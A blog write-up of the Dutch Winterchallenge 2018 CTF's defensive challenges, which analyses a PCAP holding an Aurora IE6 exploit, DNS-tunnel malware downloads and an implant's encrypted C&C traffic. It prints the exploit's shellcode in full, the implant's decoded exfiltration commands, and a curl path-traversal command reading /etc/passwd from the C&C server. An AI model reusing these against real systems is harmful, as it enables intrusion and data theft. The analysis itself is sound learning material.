Write-up Winterchallenge 2018

From March till August 2018 the Dutch security services organized an online CTF contest with challenges from various topics. This blog post will show the methods used to finish some of the defensive challenges.

1.0 Borealis

The title of this challenge is a reference to the IE6 zero-day (CVE-2010-0249) that was part of the “Operation Aurora” campaign back in 2010.

This challenge starts with a PCAP file (MD5: 85ff10ac25b33366b72f617fd3561db3) that is the basis of all 1.x challenges. The traffic in the given PCAP file starts with an exploitation sequence that include the Aurora IE6 exploit (MD5: 51b1a60709a1cbf3303d2259775daf57, also available on https://pastebin.com/5Rrr6Gwn)

This challenge clearly involves the exploit code, so that is where the flag has to be located. The exploit code itself is not very special and does not contain any references to a flag, so the only place where the flag could be hidden is inside of the shellcode.

The shellcode can be analyzed statically with a disassembler or dynamically with a debugger, both options yield the same solution. In this solution the shellcode will be analysed statically.

Any disassembler can be used to analyse the shellcode, I used the online disassembler available at defuse.ca. But plenty of other alternatives exist. Disassembling the shellcode shows that a decryption routine at the end of the shellcode is executed that decrypts the main chunk of the shellcode by xor’ing each dword with 0x52504f57.

sc_decryption_routine

Shellcode decryption loop

A simple Python script can be created that decrypts the the content of the encrypted shellcode. As expected, the encrypted piece of shellcode stores the flag of this challenge.

#!/usr/bin/env python
import struct

# Shellcode from exploit
sc = u'\ufce8\u0000\ubf00\u5048\u5752\u021a\u1a1e\u1e00\uee52\u4d37\u2bd2\u81b0\u44ba\u504f\u0252\u1c1d\u3816\u3e38\u383e\u342e\u3806\u3909\u323e\u500e\uee02\ufe7f\u2bd2\u81b0\u3dc3\u3a4f\ubf52\u5054\u5752\u6a0c\u200e\u3e26\u3836\u2338\u230e\u3d2a\u0b22\u243c\u3033\u612a\u327c\u3537\ubf52\u506d\u5752\u2427\u2726\u7f75\u237d\u2420\u3b33\u2923\u383c\u7e3b\u2137\u3c26\u247d\u313b\u3235\u7e7e\u2f37\u502a\u5738\u81b0\ub53a\u5048\uee52\u7409\u2bd2\u81b0\u5738\u4ea7\u5752\u134f\u0b68\u2713\u393b\u3f2b\u2425\u0c13\u3226\u2022\u0b0e\u243c\u3033\u612a\u327c\u3537\uee52\u73e2\u2bd4\u81b0\ub53a\u5048\uee52\u7409\u2bd2\u81b0\uadeb\ud185\ua82e\u3a9e\u3421\u2b3a\u6533\u607a\u3537\u632e\u3166\u612e\u6367\u6229\u3337\u347b\u6667\u337d\u3660\u647f\u6e33\u602e\u572f\uc0df\u57c2\u504f\u5d52\ue989\u458b\u3500\u4f57\u5250\u4589\u8300\u04c5\uc085\uee75\ue1ff'.encode('utf-16le')

# Chunk of XOR-encrypted shellcode
encrypted_sc = sc[5:-23]

# Decrypted shellcode
decrypted_sc = ''.join([struct.pack('<I', struct.unpack('<I', encrypted_sc[idx:idx+4])[0] ^ 0x52504f57) for idx in range(0, len(encrypted_sc), 4)]) 

print decrypted_sc

Output:

sc_decrypted

Strings in the decrypted shellcode

Flag: jscu{a250eba34fa154f2ed4d512c2a04a9a0}

 

1.1  What’s in a name?

The PCAP also contains C&C traffic of the 1st stage malware downloaded by the Aurora exploit. Traffic from the PCAP indicates that the malware talks with the C&C server over DNS. The C&C traffic can be identified by the hardcoded Transaction ID of 0x0001.

dns_traffic

C&C traffic over DNS

Data in the DNS tunnel is base32 encoded and can be extracted quite easily. Decoding the contents of some of the first data streams with C&C traffic reveals that the following commands are implemented:

  • list $OS_VERSION
  • get $FILENAME $OFFSET

Below you can find the encoded and decoded content of the first data streams from the C&C traffic.

UDP Stream 6

Request Response
NRUXG5BAO5UW4ZDPO5ZS26DQFU2S4MJOGI3DAMA
(list windows-xp-5.1.2600)
MZWGCZZOMV4GKCTTORQWOZJSFZSXQZI
(flag.exe
stage2.exe)

UDP Stream 8

Request Response
M5SXIIDGNRQWOLTFPBSSAMA
(get flag.exe 0)
JVNJAAADAAA (…)
(MZ (…))

UDP Stream 9

Request Response
M5SXIIDTORQWOZJSFZSXQZJAGA
(get stage2.exe 0)
JVNJAAADAAA (…)
(MZ (…))

UDP Stream 10

Request Response
M5SXIIDGNRQWOLTFPBSSANZXGU
(get flag.exe 775)
(…)

The response to the list command indicates that two executables can be downloaded by the first stage malware, flag.exe and stage2.exe. Stage2.exe is required for challenges 1.2 and 1.3.

Following the list command flag.exe and stage2.exe are actually downloaded.  The executables are not downloaded in one piece but in chunks. The offset argument of the get command indicates from which offset a next chunk of data should be downloaded.

Because a large number of DNS requests is used to transfer the executables, there is no other option than extracting the DNS data with TShark. The following two commands can be used to extract the DNS tunnel data containing the encoded flag.exe and stage2.exe executables into two manageable JSON files.

tshark -Tjson -e 'dns.qry.name' -e 'dns.resp.name' -r ./challenge.pcap 'dns.id == 1 && ip.src == 198.18.81.9 && !udp.stream eq 6 and dns.qry.name contains "M5SXIIDGNRQWOLT"' > dns_flag.json
tshark -Tjson -e 'dns.qry.name' -e 'dns.resp.name' -r ./challenge.pcap 'dns.id == 1 && ip.src == 198.18.81.9 && !udp.stream eq 6 and dns.qry.name contains "M5SXIIDTORQWOZJSF"' > dns_stage2.json

Extracting the executables from the dumped data should be quite trivial. The only thing to take into account is that the chunks of data do not always appear to be downloaded in a sequential order, but this only requires an additional sorting step based on the offset parameter in the get command.

#!/usr/bin/env python
import base64
import json
import sys

def decode_base32(data):
    """ Base32 wrapper. """
    data += '=' * ((4 - len(data) % 4) % 4)
    try: return base64.b32decode(data)
    except: return base64.b32decode(data + '====')

def process(json_data):
    """ Extract exe from json encoded DNS tunnel data. """
    exe_dict = {}
    for stream in json.loads(json_data):
        layers = stream['_source']['layers']
        if 'dns.qry.name' not in layers: continue
        if 'dns.resp.name' not in layers: continue

        query_name = layers['dns.qry.name'][0]
        resp_name = ''.join(layers['dns.resp.name']).replace('.', '')
        offset = int(decode_base32(query_name).split('.exe ')[1])
        exe_dict[offset] = resp_name

        exe_data = ''.join([exe_dict[key] for key in sorted(exe_dict)])
        return decode_base32(exe_data)

if __name__ == '__main__':
    json_file = sys.argv[1]
    exe_file = sys.argv[2]

    exe_data = process(open(json_file).read())
    open(exe_file, 'w+').write(exe_data)

Output:

Filename MD5
flag.exe ea5f20e3107503df9e880255328ba2f5
stage2.exe 573f9054be01682859d81c466693b965

Flag: jscu{ea5f20e3107503df9e880255328ba2f5}

 

1.2 Smart Cyber Blockchain Cloud evasion

The PCAP file also contains C&C traffic from the stage2.exe binary with the C&C server at 136.144.187[.]30:80

stage2_c2_pcap

Traffic between stage2.exe and C&C server

The data received from and sent to the C&C is encrypted, so the executable needs to be reverse engineered to figure out how the data is encrypted.

stage2.exe contains an http_get (0x401A40) and an http_post (0x401B30) method used respectively for getting data from and posting data to the C&C server.

http_get uses decrypt_c2_data (0x401950) to decrypt the commands received from the C&C server. Each beacon response starts with a 16-byte long key followed by the command to be executed.

http_post first encrypts data with the encrypt_c2_data (00401860) method before posting the encrypted data to the C&C server. http_post encrypts data it uploads to the C&C server with a DGA domain with a length of 16 characters as key. The DGA domain is obviously present in the Host header of the beacon.

I did not analyse the actual encryption used in the binary, instead chose to patch the stage2.exe implant so I could make the binary decrypt the beacons present in the PCAP.

The following script can patch the hardcoded C&C url in the binary and enlarge the buffer that is used by InternetReadFile in the http_get method.

#!/usr/bin/env python
import sys

def main(exe_in, exe_out, url_host, url_path):
    url_old = 'http://136.144.187.30/d1133275ee2118be63a577af759fc052'
    url_new = url_host + '/' * (len(url_old)-len(url_host)-len(url_path)) + url_path

    buffer_size_old = '6800040000'.decode('hex') # push 0x400
    buffer_size_new = '6800400000'.decode('hex') # push 0x4000

    exe_data = open(exe_in).read()

    # Patch C&C downlink url
    exe_data = exe_data.replace(url_old, url_new)

    # Patch buffer sizes
    exe_data = exe_data.replace(buffer_size_old, buffer_size_new)

    open(exe_out, 'w+').write(exe_data)

if __name__ == '__main__':
    exe_in = sys.argv[1]
    exe_out = sys.argv[2]
    url_host = sys.argv[3]
    url_path = sys.argv[4]

To dump the decrypted C&C traffic we set a breakpoint in a debugger of choice (in this case WinDbg) at the decrypt_c2_data (0x401950) method that is called directly after the C&C response has been downloaded with InternetReadFile.

bp 401AF8

When the breakpoint is reached, eax contains points to the buffer with decrypted data.

Decoding the first two encrypted commands returned by the C&C server shows that the implant is instructed to upload the output of the tasklist command.

exec cmd /c tasklist /v > C:\windows\temp\tasklist.txt
ul C:\windows\temp\tasklist.txt

The flag is present in the encrypted task list that has been sent to the C&C server.

As previously mentioned, the implant encrypts data it uploads to the C&C server with a pseudorandom generated domain with a length of 16 characters. In this case the encryption key is the DGA domain qyhrvvpiludc.com.

post_request

Making the patched executable download and decrypt a crafted file whose content start with the DGA domain qyhrvvpiludc.com followed by the encrypted outcome of the tasklist command reveals the flag.

post_decrypted

Flag: jscu{795a17b4b3a918807eac0d8fd1c8353b}

1.3 Command & Capture

The last challenge of the 1.x series involves exfiltrating data from the C&C server at 136.144.187[.]30. (At the moment of writing this server was already offline.)

An essential part of this challenge is the local file inclusion vulnerability in the C&C server software that can be used to download a given file (like /etc/passwd) from the C&C.

curl --path-as-is http://136.144.187.30/../../etc/passwd

Just as expected, the content of the returned ‘passwd’ file is encrypted. This is not an issue as the same decryption method previously used to solve the 1.2 Smart Cyber Blockchain Cloud evasion challenge can also be used to decrypt the passwd file.

The decrypted passwd file indicates that a user wopr exists. This requires some additional attention.

passwd_decrypted

Output from patched executable

With an LFI vulnerability in a web application it is (generally) not possible to list directories, though useful data can regularly still be extracted from configuration or log files. In this case the .bash_history file in the home directory of the wopr user can be download and shows that the flag in located in /home/wopr/flag.txt.

bash_history_decrypted

Output from patched executable

Flag: jscu{da101ac4653b23e53fa0b17d6aa044710c81c2f2}

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s